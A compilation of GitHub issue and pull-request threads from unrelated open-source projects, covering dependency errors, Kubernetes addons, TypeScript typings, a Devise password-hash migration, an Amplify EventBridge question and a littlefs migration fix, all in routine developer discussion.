could also add a test that checks they are there? not sure if people like that idea

closed by #2158

closed by #2158


flutter packages get failed

Running "flutter packages get" in flutter-playbooks...
Package dart_style has no versions that match >=1.0.0 <2.0.0 derived from:
- build_runner 0.7.6 depends on version ^1.0.0
pub get failed (1)
Process finished with exit code 1

Dependencies
dependencies:
  flutter:
    sdk: flutter

  # The following adds the Cupertino Icons font to your application.
  # Use with the CupertinoIcons class for iOS style icons.
  #https://github.com/Solido/awesome-flutter
  json_annotation: ^0.2.2
  cupertino_icons: ^0.1.0
  english_words: ^3.1.0
  fluro: ^1.3.1 #https://github.com/goposse/fluro
  map_view: ^0.0.10

Seems unrelated to this lib.


Adding KWasm operator addon

This PR replaces PR #28. The KWasm operator manages an installer image that installs WasmEdge (the runtime used by Docker) and Fermyon Spin (the framework used by Azure). That makes it possible to run Wasm images built for Docker or Spin images that run on Azures AKS WASI preview.
closes #27 (issue)
closes #28 (pr)
Also verify you have:

[x] Read the contributions page.
[x] Submitted the CLA form, if you are a first time contributor.

The provisioning works fine with classic confinement. However, when using 1.25-strict containerd can't access binaries outside the snap (which is intended and a good thing).
Is there a way to provide custom runtimes via addon to microk8s-strict?

Hi @0xE282B0
You should be able to use any binaries under $SNAP_COMMON (/var/snap/microk8s/common). The addon script can download files and store them there (in a location like $SNAP_COMMON/my-runtime/bin), and you can then use this location in the containerd configs.

Thanks @neoaggelos,
I added tests to validate that KWasm is working with WasmEdge images.
It is working with microk8s in strict and classic mode on amd64 and arm64.

Typo is fixed, sorry.

I believe there is one more typo:
startet ==> started

True, 😆

Hi @0xE282B0, do you think the following runtime class should be created automatically when enabling the addon?
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: crun
handler: crun

@neoaggelos, yes it should be created automatically.
But I think that is the task of the operator. We'll add that in a patch release.

Thank you for this work @0xE282B0 and for the review @neoaggelos
We will need to have a docs page for this addon that will be linked from here: https://microk8s.io/docs/addons
@0xE282B0 I have created a basic placeholder page here: https://discuss.kubernetes.io/t/addon-kwasm/22054
Please, let me know what you would want to see on that page.


function is not covered

Hello 👋
when I convert
            given(sessionManager)
                .invocation { sessionManager.checkAppUpdate(false) }
                .then { null }

            given(sessionManager)
                .invocation { sessionManager.checkAppUpdate(true) }
                .then { null }

into this
            given(sessionManager)
                .function(sessionManager::checkAppUpdate) // the line is not covered
                .whenInvokedWith(any())
                .thenReturn(null)

the line with function is not covered. As you can imagine it decreases the overall coverage :) Would it be possible to cover function ?

Hi @mustafaozhan
First of all, I'd like to apologize for my absence.
I don't believe there's a way for me to solve this specific issue since Mockative doesn't affect code coverage itself. I suggest you reach out to the team behind the coverage tool you're using.

Hey @Nillerr no worries, now looking it again maybe it can ben related with this issue that I have created for kover https://github.com/Kotlin/kotlinx-kover/issues/154

I'm closing this issue since I'm quite certain the issue is not with Mockative.


add possibility to override issue URL

When using an external issue manager like Redmine, it's pretty useful to be able to override the tracker URL through options.

Hello,
Is there anything I should change for you to merge ?
Thanks !

+1 from me, I love this idea as I find it a right pain that GitHib doesn't allow you have a public issues tracker when the repo itself is private.
When I looked at your PR, there seemed to be quite a few unnecessary changes, where URLs have changed from /rafskinpg/git-changelog to /Treyone/git-changelog.
Really you could just re-submit this with only the changes to get-provider-links.js and git_changelog_generate.spec.js, which would make it much easier to review.

Sure, will do !
I realized the URL changes too late : they actually occured because I launched the project on itself :)


Support new completion item kinds

https://code.visualstudio.com/updates/v1_11#_api-improvements

We added these new completion item kinds: Constant, Struct, and EnumMember completing the existing Enum kind.

Would be nice to have

Agree, but they need to go into the spec first and then we can update the implementation.

Those three enums were added in 1b36842edf58dfe31f26a62cdf42005cd4b2b237 for #280.
@dbaeumer I think this can be closed?

@rcjsuen correct. Thanks for reminding.


Updated Infra server and org modal UI to construct human readable Id

:nut_and_bolt: Description: What code changed, and why?
Previously Chef Server & Orgs model doesn't have an editable ID field so we have added for both models.
Scope of works:
Chef Infra Servers
Update the servers modal so that the user can construct the human-readable ids.
servers table has a name(unique) and description columns. consider Name as Id and description as Name similar to team services.
Chef organizations
Update the org modal so that the user can construct the human-readable ids.
:chains: Related Resources
https://github.com/chef/automate/issues/3240
:+1: Definition of Done
I have added changes for the model popup to add an editable ID and some UI changes
:athletic_shoe: How to Build and Test the Change
STEP 1
inside the hab studio

[default:/src:0]# build components/automate-ui-devproxy/
[default:/src:0]# start_automate_ui_background
[default:/src:0]# start_all_services

STEP 2
open new window
go to automate UI path

$ cd components/automate-ui
and run the command

npm run serve:hab

:white_check_mark: Checklist

[ ] I have read the CONTRIBUTING document.
[ ] Tests added/updated?
[ ] Docs added/updated?
[ ] All commits have been signed-off for the Developer Certification of Origin.

:camera: Screenshots

Does this need to be merged before or after #3431?

@btm Yes, these are breaking change vice versa. need to take action accordingly.

@vinay033 i think this was an issue before this pr, but only looking at the screenshots, we need a tertiary Cancel button at the bottom, and buttons should be centered in the modal, take a look at Settings > Tokens > Create Token for an example.


Develop

Coverage increased (+0.001%) to 88.901% when pulling 26789ada315d84bcd06166d36cfaf0ee34a81d78 on develop into 3a21512224aada348dbed1cf02dee39cbc645c78 on qa.


Song title shows as "Music Assistant" when playing on UPnP player (Cambridge Audio Evo 150)

What version of Music Assistant has the issue?
2.0.0b107
What version of the Home Assistant Integration have you got installed?
2024.2.0
Have you tried everything in the Troubleshooting FAQ and reviewed the Open and Closed Issues and Discussions to resolve this yourself?

[X] Yes

The problem
The song title is not displayed, instead my player shows "Music Assistant" where the title should be. The album title and artist are displayed correctly.
Looks like this:

How to reproduce
Play anything on a UPnP player.
My hardware is an Cambridge Audio Evo 150 player. It supports both Casting and UPnP (including gapless) playback.
Music Providers
Plex --> Plays, but doesn't show title.
Tidal --> Same thing
Player Providers
UPnP --> Doesn't show title
Cast --> Shows title
Relevant log output
No response
Additional information
It happens both when using the service in HA aswell as playing directly from the addon. I also use other UPnP players (Symfonium), it does not happen there.
In HA: the DLNA entity from my media player shows the media title correctly, the UPnP player entity created by MA as well. It shows the song title and none of the attributes show "Music Assistant". For some reason it does send "Music Assistant" title along, as the 'media_content_id:' from my DLNA player entity shows the following in VLC when I open it there:

My mediaplayer in HA:

(default) DLNA entity of my mediaplayer:

UPnP player entity created by MA integration:

What version of Home Assistant Core are your running
2024.3.0
What type of installation are you running?
Home Assistant OS
On what type of hardware are you running?
Windows

This is actually a device specific issue. It somehow prefers the metadata in the file headers over the metadata that is explicitly sent over dlna. That is just wrong.

This is actually a device specific issue. It somehow prefers the metadata in the file headers over the metadata that is explicitly sent over dlna. That is just wrong.

Is there any chance you can leave it empty on the file? Or does it have a specific purpose? All the other fields, Artist/Album/Genre are empty and those are reported correctly.

Is there any chance you can leave it empty on the file? Or does it have a specific purpose? All the other fields, Artist/Album/Genre are empty and those are reported correctly.

It is there as fallback for if a device does not support metadata.
I can leave it empty but I still find this very crappy from the device implementation-side. This is also actually the first time I hear this.
Keep an eye on the next update to test this without the default/fallback name in the stream file headings

Please give the next beta 108 a try, should be available within now and 30 minutes.

Please give the next beta 108 a try, should be available within now and 30 minutes.

Yay, thanks! It's showing the song title now :)


sushimanz sword + dash

GitHub Desktop App was acting weird so I had to create another branch / PR


Depreciation warning: please use MorganGenerator

Hi Kyle, thanks so much for putting this togther. I have encounterd a "Depreciation warning: please use MorganGenerator." as a repeated error message when running the local python version.
I think this RDKit blog covers the problem https://greglandrum.github.io/rdkit-blog/posts/2023-01-18-fingerprint-generator-tutorial.html
All the best

This is a problem with Chemprop, I do not think it can be fixed unless they retrain all the models.
It should not be a problem unless RDKit actually removes the function, until then you can just disable the RDKit error message.

@MightyFu, thank you for raising the issue! Unfortunately, as @davide-grheco noted, the deprecation warning is related to RDKit fingerprint generation which is not directly computed by the ADMET-AI package. It instead comes from the descriptastorus package, which is used by ADMET-AI via chemfunc and chemprop to compute those RDKit fingerprints. I raised an issue on the descriptastorus GitHub page, so hopefully once the problem is resolved there, we can update descriptastorus to remove those deprecation warnings.

As a quick update on this discussion, there is a planned update to the descriptastorus package promised in the next couple of weeks (see here). Once the update is pushed, I'll update the descriptastorus version requirement for ADMET-AI.

This issue has now been fixed on descriptastorus with the newest version, <IP_ADDRESS>. If you run pip install --upgrade chemfunc and pip install --upgrade descriptastorus and then retry your commands, that should remove the deprecation warnings. Please let me know if you're still running into any issues!


feat: port convert_to

There is still the issue that the original mathlib3 version allows for holes in the type, but the simplest version of convert_to works.

@mcdoll, could you include an example (perhaps commented out in the test file) showing what used to work in mathlib3, but doesn't here?

bors merge


Adding carlsbadusd.net

URL to official website: https://www.carlsbadusd.k12.ca.us/
URL to IT courses offered (different because it is a district email). Additionally, you need to click on the 2020 academic plan and ctrl f "computer science" which will list the computer science classes offered.: https://carlsbadhs.schoolloop.com/pf4/cms2/view_page?d=x&group_id=1530973341864&vdid=i13c2b1w8thb2id
URL proving that the school recognizes this email. My high school has the same email for students and teachers, but only teacher names are allowed to be listed: https://carlsbadhs.schoolloop.com/pf4/cms2/view_page?d=x&group_id=1530973342012&vdid=i13b51wythb4c0

@edwardburns1 I am sorry for a delay with processing your request.
Pull request merged. Thank you!


Implement "Soul Bound" NFT Contract

Vitalik has been talking a lot about using non-transferable NFTs: https://vitalik.ca/general/2022/01/26/soulbound.html
Funny enough, I did a thought experiment a while back on how one would build a C-Corp with the DAO DAO V1 contracts, and mentioned a "Title" NFT Contract that was non-transferable except by an admin (usually the DAO). Context: https://gist.github.com/JakeHartnell/8cce816fb7d6e5977f785ca26a26c09a
To do:

Implement cw721-non-transferable by allowing for an optional admin and blocking all messages from executing unless there is an admin
Create a voting power module for non-transferable NFTs (mvp: simple query NFT balance)
Maybe submit upstream to the cw-nfts repo: https://github.com/CosmWasm/cw-nfts

👻

Should be done in cw-nfts or one the Stargaze repos. Closing...


Syntax too permissive

?- var(a:-b).
Error: syntax error, parens needed around operator ':-', user:1 % very good
?- var(:-b).
   false, unexpected.
   syntax_error(_).

So the idea is that as arguments no operators with too high a priority are directly permitted.
#92

For #92, systems that accept this as valid syntax interpret this differently. SWI succeeds and YAP fails.

P.S. Added those two tests at https://github.com/LogtalkDotOrg/logtalk3/commit/f83acb846fd0dc8bfca4200927b0bd5fde7b2caa. As now expected post fd16d9f4124d4a15670911cfc030d23e99f5e221:
$ logtalk_tester -p trealla
% Batch testing started @ 2023-07-13 10:55:02
%         Logtalk version: 3.68.0-b01
%         Trealla Prolog version: 2.22.10
%
% Documents/Logtalk/logtalk3/tests/prolog/syntax/terms
%         10 tests: 0 skipped, 10 passed, 0 failed (0 flaky)
%         completed tests from object tests in 2 seconds
%         clause coverage n/a
%
% 1 test sets: 1 completed, 0 skipped, 0 broken, 0 timedout, 0 crashed
% 10 tests: 0 skipped, 10 passed, 0 failed (0 flaky)
%
% Batch testing ended @ 2023-07-13 10:55:04

Thanks Paulo.
On Thu, 13 July 2023, 20:00 Paulo Moura, @.***> wrote:

P.S. Added those two tests at @.***
https://github.com/LogtalkDotOrg/logtalk3/commit/f83acb846fd0dc8bfca4200927b0bd5fde7b2caa.
As now expected post fd16d9f
https://github.com/trealla-prolog/trealla/commit/fd16d9f4124d4a15670911cfc030d23e99f5e221
:
$ logtalk_tester -p trealla
% Batch testing started @ 2023-07-13 10:55:02
%         Logtalk version: 3.68.0-b01
%         Trealla Prolog version: 2.22.10
%
% Documents/Logtalk/logtalk3/tests/prolog/syntax/terms
%         10 tests: 0 skipped, 10 passed, 0 failed (0 flaky)
%         completed tests from object tests in 2 seconds
%         clause coverage n/a
%
% 1 test sets: 1 completed, 0 skipped, 0 broken, 0 timedout, 0 crashed
% 10 tests: 0 skipped, 10 passed, 0 failed (0 flaky)
%
% Batch testing ended @ 2023-07-13 10:55:04
—
Reply to this email directly, view it on GitHub
https://github.com/trealla-prolog/trealla/issues/260#issuecomment-1633939825,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFNKSEVLR7DQH5AMY46PCALXP7BMPANCNFSM6AAAAAA2IMZCKY
.
You are receiving this because you commented.Message ID:
@.***>


add TS definitions

Initial draft of TS definitions as I'm planning to expand this more as I begin porting omnibar over to use the primitive components offered by react-autocompletely.

Codecov Report

Merging #56 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #56   +/-   ##
=======================================
  Coverage   18.81%   18.81%
=======================================
  Files           8        8
  Lines         202      202
  Branches       41       41
=======================================
  Hits           38       38
  Misses        127      127
  Partials       37       37

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bd42093...9bdac54. Read the comment docs.

Of course. No expectations on your end. Hopefully the community can help build the TS definitions up alongside Flow in the other PR.

Awesome! Thanks! If you don't mind, I'd like to wait until the API has settled a bit before we merge TypeScript typings. I don't want you to have to deal with at churn while we figure out what's best 👍

Alright! I'm pretty confident the API has solidified, so if you'd like to update this PR that would be awesome :smile:
Thanks!

@kentcdodds Not sure how you want tests for these definitions, but I made a repo here with the example provided in the README.

For testing, maybe you could look at the glamorous repo. Maybe @luke-john could help guide this?

Most projects simply test definitions by having a single test file that covers the api. ie.
// ./typings/add-numbers.d.ts
declare module 'add-two-numbers' {
    type AddTwoNumbers = (x: number, y: number) => x + y

    export default const addTwoNumbers: AddTwoNumbers
}

// ./test/add-numbers.ts
import addTwoNumbers from 'add-two-numbers'

const test: number = addTwoNumbers(1, 5)

With glamorous we took things a bit further to try and decrease the chance of regressions.
In addition to the above style test we also have a test/should-fail.ts which goes through the api and attempts to break things. ie.
// ./test/should-fail.ts
import addNumbers from 'add-numbers'

const test: number = addTwoNumbers(1)
const test: number = addTwoNumbers(1)
const test: number = addTwoNumbers('1', 5)
const test: number = addTwoNumbers(1, '5')
const test: number = addTwoNumbers(1, 5, 1)
const test: number = addTwoNumbers(1, 5, 1)

Given the current size of the typings just having a single test file is probably suitable.
It would be good to add a ~test:ts script to the package.json which runs typescript with the noEmit flag to test these.
Also if these typings are likely to grow  in complexity you may want to consider landing them under a typings folder and adding "typings": "typings/index.d.ts",.  This should make it easier to break into seperate files without polluting the top level folder.

Just looking in the typings, it appears there's still a number of anys.  This is fine, however you may want to add a note to the README that the typescript typings are still incomplete and contain anys to help set expectations for other users.
In Glamorous we added the following to a other/TYPESCRIPT_USAGE.md file and linked to this from the README.md.
# Typescript Usage

The current bundled typescript definitions are incomplete and based around the needs of the developers who contributed them.

Pull requests to improve them are welcome and appreciated. If you've never contributed to open source before, then you may find [this free video course](https://egghead.io/courses/how-to-contribute-to-an-open-source-project-on-github) helpful.

Most projects simply test definitions by having a single test file that covers the api. ie.

I was thinking of creating some test files based on the given examples but since it wouldn't make sense to place it into src/__tests__. I'm thinking src/__ts_tests__ but that may be a bit confusing to some users.

It would be good to add a ~test:ts script to the package.json which runs typescript with the noEmit flag to test these.

Will do.

Just looking in the typings, it appears there's still a number of anys. This is fine, however you may want to add a note to the README that the typescript typings are still incomplete and contain anys to help set expectations for other users.

I left the any types for items to start off with but will gladly introduce a generic for items.

Thanks @luke-john!!
@vutran, if you could put the typescript test script in package-scripts under test that would be optimal. Then we can add it to the validate script to make it run concurrently :+1:

@kentcdodds Just a quick update, will try to find some time this week to address the requested chances. (Apologies, trying to recover from outsidelands and work-related stuff in the same time).

Sounds good. Thank you!

Okay, I think this is ready for a review. @luke-john

Removed Downshift namespace and have everything under the root namespace.
Export all interface to allow importing during usage.
Added tsc --noEmit test to package-scripts and added to the validate nps script.
Added other/TYPESCRIPT_USAGE.md
Moved typings to typings/index.d.ts

These are looking good to me @vutran. Great work 👍.
It looks like this project is using rollup in a similar way to glamorous so you may hit an issue with typescript not playing nice with the rollup compilation.  If so the following addition to the entry file should solve things. https://github.com/paypal/glamorous/pull/104

Awesome! We're not on auto-release yet, but I'll get this published soon. Thanks so much @vutran! :tada:

It looks like this project is using rollup in a similar way to glamorous so you may hit an issue with typescript not playing nice with the rollup compilation. If so the following addition to the entry file should solve things. paypal/glamorous#104

I can open a new PR for this if needed.

Feel free! I leave the TS stuff entirely up to other folks since I don't really use it 🤷♂

~/Developer/downshift (master)
🏎  $ npm publish --tag rc
+<EMAIL_ADDRESS>
Let's try this out!


[c++] Build libtiledbsoma static library

This PR adds a libtiledbsoma static library build to cmake. After running scripts/bld, the library can be found at dist/lib/libtiledbsoma.a at the top of the repo.

Could you add a mode where it produces only dist/lib/libtiledbsoma.a but no cpython library and no catch2 binary?  When the R package builds in isolation it only needs that static library.

Closing in favor of #496.


WrappingAndBracesStyle$IfStatement NPE

@pway99 I don't see enough information on the screenshot. It may have been an old AST and the new IfStatement. I covered the possibility with this commit: https://github.com/openrewrite/rewrite/commit/357c49247d8a6de0a40ae80c35bc56b1ad34c642.
Can you confirm?

@traceyyoshima this was reported by a user, I do not have any additional information.

Closing the issue, this was confirmed to be fixed by https://github.com/openrewrite/rewrite/commit/357c49247d8a6de0a40ae80c35bc56b1ad34c642


devise-migratable module

Context:
Create a new devise module focusing on gradually migrating from default devise pass hashing to the given one.
This could be in its own gem, but keep it here for now because 1. it's easy to switch to devise-encrytable once migration is done; 2. easier to understand the context.
Detailed RFC for rollout plan here.
Usage
# in config/initializers/devise.rb

config.encryptor = :pbkdf2_sha512
config.feature_class = Features
config.feature_name = :enable_new_encryptor

Generate migration to add the new column:
class AddNewEncryptedPasswordColumnForMigration < ActiveRecord::Migration[7.0]
  def change
    add_column :users, : encrypted_password_migrate_to, :string
  end
end

What happened after this?

For each user login, we will start saving (during user registration, reset password or login) the pbkdf2_sha512 hashed password in encrypted_password_migrate_to.
For each valid_password? call, we will consult Features.active?(:enable_new_encryptor, user)
a) true -> we will valid_password using column encrypted_password_migrate_to and pbkdf2_sha512, fallback to old one if new hashed password not exists.
b) false -> we will keep using existing devise password validation against encrypted_password

For more details please see the rollout plan

I tried to pay attention to every line in the PR and I'm really pleased with how it looks like.
There's a couple of missing new lines but I didn't point them out, rubocop should be able to fix them automatically if you want.
I hope I didn't miss anything, but either ways very good job 👍

Thank you so much for taking the time review and providing comments, really appreciate your help on getting all of us aligned!

Not sure using version number for the tag makes sense here, so I tagged the commit as bu-migratable for now.


Add support for GETSET

txs for contributing. Tests are failing :(
can you add infos on the README too ?


Event Bridge example with L2 Rule construct instead of L1 Cfn

Environment information
npx ampx info
System:
  OS: macOS 14
  CPU: (8) arm64 Apple M2
Binaries:
  Node: 20.15.0 - ~/.n/bin/node
  Yarn: 4.3.1 - ~/.n/bin/yarn
  npm: 10.7.0 - ~/.n/bin/npm
  pnpm: undefined - undefined
NPM Packages:
  @aws-amplify/backend: 1.0.4
  @aws-amplify/backend-cli: 1.1.0
  aws-amplify: 6.3.8
  aws-cdk: 2.147.2
  aws-cdk-lib: 2.147.2
  typescript: 5.5.2
AWS environment variables:
  AWS_STS_REGIONAL_ENDPOINTS = regional
  AWS_NODEJS_CONNECTION_REUSE_ENABLED = 1
  AWS_SDK_LOAD_CONFIG = 1
No CDK environment variables

Description
Regarding EventBridge example for data sources
https://docs.amplify.aws/react/build-a-backend/data/custom-business-logic/connect-eventbridge-datasource/
I'm trying to setup this example with L2 construct Rule (https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-lib.aws_events.Rule.html)
This is the class, where api is backend.data.resources.graphqlApi
export class FileSearchEventBus extends Construct {
  constructor(scope: Construct, id: string, api: IGraphqlApi) {
    super(scope, id)

    const eventBus = new EventBus(this, "filesearch", {})

    api.addEventBridgeDataSource("EventBridgeSrc", eventBus)
    console.debug("EventBridgeSrc is added")

    const policyStatement = new PolicyStatement({
      effect: Effect.ALLOW,
      actions: ["appsync:GraphQL"],
      resources: [`${api.arn}/types/Mutation/*`]
    })

    const eventBusRole = new Role(this, "AppSyncInvokeRole", {
      assumedBy: new ServicePrincipal("events.amazonaws.com"),
      inlinePolicies: {
        PolicyStatement: new PolicyDocument({
          statements: [policyStatement]
        })
      }
    })

    new Rule(this, "FileSearch", {
      eventBus: eventBus,
      ruleName: "broadcastFileSearchUpdates",
      eventPattern: {
        source: ["amplify.filesearch"],
        detailType: ["FileSearchChange"],
        detail: {
          fileId: [{ exists: true }],
          status: ["PENDING", "ATTACHED", "DETACHED"],
          message: [{ exists: true }]
        }
      },
      targets: [
        new AppSync(api, {
          variables: RuleTargetInput.fromObject({
            fileId: EventField.fromPath("$.detail.fileId"),
            status: EventField.fromPath("$.detail.status"),
            message: EventField.fromPath("$.detail.message")
          }),
          graphQLOperation: `
            mutation PublishFileSearchFromEventBridge(
              $fileId: String!
              $status: String!
              $message: String!
            ) {
              publishFileSearchFromEventBridge(fileId: $fileId, status: $status, message: $message) {
                fileId
                status
                message
              }
            }
          `,
          eventRole: eventBusRole
        })
      ]
    })
  }
}

I define data backend as this
export const data = defineData({
  name: "data",
  schema,
  authorizationModes: {
    defaultAuthorizationMode: "userPool"
  }
})

The stack breaks.
Error: You must have AWS_IAM authorization mode enabled on your API to configure an AppSync target
This is the check on construct here, https://github.com/aws/aws-cdk/blob/v2.147.3/packages/aws-cdk-lib/aws-events-targets/lib/appsync.ts#L49
The modes on backend's app sync is empty.
Question: is it still possible to use L2 for the example you have? It seems to support all props. Was this the reason you've use Cnf?

Also, looking at the amplify example page
import { aws_events } from "aws-cdk-lib"; <<--- this is incorrect import, should be import { CfnRule } from "aws-cdk-lib/aws-events"
// Create an EventBridge rule to route events to the AppSync API
const rule = new aws_events.CfnRule(eventStack, "MyOrderRule"

Hey👋 thanks for raising this! I'm going to transfer this over to our API repository for better assistance 🙂


NuGet 5.8.1 Documentation Merge (January 2021)

Docs Build status updates of commit 1e787b8:
:clock10: Pending: waiting for processors (6 builds ahead of you)
:warning: Docs Build is busy, currently there are 6 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 1e787b8:
:clock10: Pending: waiting for processors (6 builds ahead of you)
:warning: Docs Build is busy, currently there are 6 builds ahead of this one, for more information you can view the Build queue graph on the Docs Portal.

Docs Build status updates of commit 1e787b8:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/create-packages/Symbol-Packages-snupkg.md
:bulb:Suggestion
View
Details

docs/reference/NuGet-Client-SDK.md
:bulb:Suggestion
View
Details

docs/consume-packages/Package-References-in-Project-Files.md
:white_check_mark:Succeeded
View

docs/reference/Signed-Packages-Reference.md
:white_check_mark:Succeeded
View

docs/reference/msbuild-targets.md
:white_check_mark:Succeeded
View

docs/release-notes/NuGet-5.8.md
:white_check_mark:Succeeded
View

docs/create-packages/Symbol-Packages-snupkg.md

Line 4, Column 12: [Suggestion-ms-author-invalid] Invalid value for 'ms.author', 'cristinamanu' is not a valid Microsoft alias.

docs/reference/NuGet-Client-SDK.md

Line 5, Column 12: [Suggestion-ms-author-invalid] Invalid value for 'ms.author', 'karann' is not a valid Microsoft alias.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel

Docs Build status updates of commit 1e787b8:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/create-packages/Symbol-Packages-snupkg.md
:bulb:Suggestion
View
Details

docs/reference/NuGet-Client-SDK.md
:bulb:Suggestion
View
Details

docs/consume-packages/Package-References-in-Project-Files.md
:white_check_mark:Succeeded
View

docs/reference/Signed-Packages-Reference.md
:white_check_mark:Succeeded
View

docs/reference/msbuild-targets.md
:white_check_mark:Succeeded
View

docs/release-notes/NuGet-5.8.md
:white_check_mark:Succeeded
View

docs/create-packages/Symbol-Packages-snupkg.md

Line 4, Column 12: [Suggestion-ms-author-invalid] Invalid value for 'ms.author', 'cristinamanu' is not a valid Microsoft alias.

docs/reference/NuGet-Client-SDK.md

Line 5, Column 12: [Suggestion-ms-author-invalid] Invalid value for 'ms.author', 'karann' is not a valid Microsoft alias.

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel

Can we please merge this @JonDouglas?

Can we please merge this @JonDouglas?

@nkolev92 Yep, sorry I needed an approval.

@nkolev92 Yep, sorry I needed an approval.


Static bounds on type parameters involved in the pin_init macro.

Hi there, thanks for the great library and series of blog posts!
I am currently experimenting with a kind of event-notification framework for freestanding embedded that depends on intrusive lists to
forward notifications and also allows for separate single-threaded access using mutability access-tokens.
I have a PoC here
It appears that when using the pin_init! macro to create an initializer, I am forced to put static bounds on all type parameters involved.
Specifically, I would like to remove the static bound here.
I think this is a macro limitation due to the inner closures involved, but I am definitely not experienced enough with Rust and there may be a good reason for it. I tried implementing a mock PinInit impl, and it seems the bound goes away.

Sorry for the noise, it was a lifetime issue with the stored trait object! Thanks again for the great library!

Sorry for the noise, it was a lifetime issue with the stored trait object! Thanks again for the great library!

No worries! Glad that it's of use to you! If you encounter another problem, feel free to open another issue :)


[BUG] Errors about CLI

Required prerequisites

[X] I have read the documentation https://omnisafe.readthedocs.io.
[X] I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
[X] Consider asking first in a Discussion.

What version of OmniSafe are you using?
0.2.2
System information
3.9.13 (main, Aug 25 2022, 18:29:29)
[Clang 12.0.0 ] darwin
0.2.2
Problem description

When use omnisafe benchmark --help, i run the example command provided by omnisafe, this bug happens.
Reproducible example code
The Python snippets:

Command lines:

Extra dependencies:

Steps to reproduce:

Traceback
No response
Expected behavior
No response
Additional context
No response

We just tested it, and it works fine with the default entry in the examples, this may be an alternative for you who want to use OmniSafe quickly. We didn't update the description in typer in time, this is our oversight. We will propose a PR to fix this issue as soon as possible.

Hi, sorry for the late reply. For the required arguments, users should input them in positional order instead of using --key value. For the case you encountered, you should try
omnisafe benchmark exp-1 1 ./configs/on-policy/PPOLag.yaml --log_dir ./runs

If the issue still exists, feel free to reopen it.


Origin/updated pyproject 1

Trying to fix tests and update pyproject files.

Having an issue getting the setup test to pass. Not exactly sure why because it runs fine on my own system, but I suspect is has something to do with whatever virtual environment is used to run the test on GitHub. Below is the error we are getting, but if you look at the actual test https://github.com/pyspextool/pyspextool/blob/origin/updated-pyproject-1/tests/test_setup.py, you can see that the things it says are modules should actually be strings that are explicitly passed to the functions.
=========================== short test summary info ============================
ERROR tests/test_setup.py::test_spex_setup - TypeError: Parameter instrument_name of set_instrument has type module.  Acceptable types are str.
ERROR tests/test_setup.py::test_set_instrument_state - TypeError: Parameter instrument_name of set_instrument has type module.  Acceptable types are str.
========================= 22 passed, 2 errors in 3.10s =========================
This must be related to the tests being run as modules, so perhaps we need to change the format of this test? I am not extremely familiar with the testing environment on GitHub, so I will have to dig a little deeper. I mostly wanted to put this here so we have a record of the issue, and also see if anyone else has any insights. Maybe @kelle ?

I was having this problem as well, but I thought I had figured it out....YES, the problem is if you have a module or function named "setup".  That confuses everything. Let me see if I can find the offending file or function.

Yep, line 15 of setup_utils.  Change the name of that function to ANYTHING except setup.

I had to do the same thing in https://github.com/pyspextool/pyspextool/pull/31/files

Ok.  I will change the name to pyspextool_setup().
-Mike

On Feb 10, 2023, at 5:24 PM, Kelle Cruz @.***> wrote:
Yep, line 15 of setup_utils. Change the name of that function to ANYTHING except setup.
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.

Looks like this is passing now. All tests working and we can merge anytime.

Can I ask, I thought the whole thing about python was that you could have functions with the same names because you had modules. And as long as you import things separately there is no conflict.
What am I missing?
No need to respond quickly.  This can always be dealt with later.
-Mike

On Feb 10, 2023, at 5:25 PM, Kelle Cruz @.***> wrote:
I had to do the same thing in https://github.com/pyspextool/pyspextool/pull/31/files
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.

I think everything was already included in main. I think @michaelcushing took care of everything already without the need to merge this. I am pretty sure we can just delete this branch.

You can close the PR and delete the branch on your fork


 I just put up a fix here: https://github.com/ARMmbed/littlefs/pull/193
A quick note it looks like you are missing a call to lfs1_mount after lfs1_format, I'm surprised it works as is. Though I was able to reproduce the bug, so many thanks for the example program.
It looks like I simply missed flushing the cache at the end, which would make lfs_migrate think it succeeded but not leave the filesystem in a valid state. Unfortunately the tests I did all ended up cache-aligned which causes the caches to auto-flush.
Let me know if the migration works with this fix.  For most metadata operations littlefs leaves the old data in the backup block as otherwise writing metadata would cost twice as many erases.
Actually, at this point, both v2 and v1 exist in a completely valid state on the disk, sharing as much COW data as is possible. This isn't necessarily a good thing as v1 will fall out of sync as v2 begins to cannibalize it. If you try to mount v1 after writing to v2, it won't necessarily detected an error even if it's been corrupted. This caused Mbed OS some pain before when users were switching between FAT and littlefs all the time.
On the other hand, the reason for keeping v1 intact in the first place is so that if the migration fails you can fall back to v1 which will still be safe to use.

This isn't necessarily a good thing as v1 will fall out of sync as v2 begins to cannibalize it. If you try to mount v1 after writing to v2, it won't necessarily detected an error even if it's been corrupted.

yes, it's not a good thing. apart from right after migration, the state of v1 tree is unknown and thus not really useful. i think there's a strong argument in favor of putting the final nail into v1 by erasing its superblock at the end of (an otherwise successful) migration process.

Sounds reasonable to me. I'm going to need to figure out the best way to force a compact internally (simply erasing may be a noop).

Figured it out, added to #193


Add proposal for updating the file sync location

Signed-off-by: John Collier<EMAIL_ADDRESS>What type of PR is this?
/kind design
What does does this PR do / why we need it:
Adds a design proposal doc for modifying the file sync location functionality in odo, as we decided on last Thursday's meeting to do that first.
See https://github.com/openshift/odo/issues/3494 and https://github.com/openshift/odo/issues/3581 for some background
Which issue(s) this PR fixes:
N/A
How to test changes / Special notes to the reviewer:
N/A

/approve

/test all


Uninstalling Copilot Chat also uninstalls Copilot

They are bundled as extension pack, so Chat should be able to be uninstalled on its own while Copilot stays. This works for Python and Jupyter, but fails for Copilot Chat.
STR:

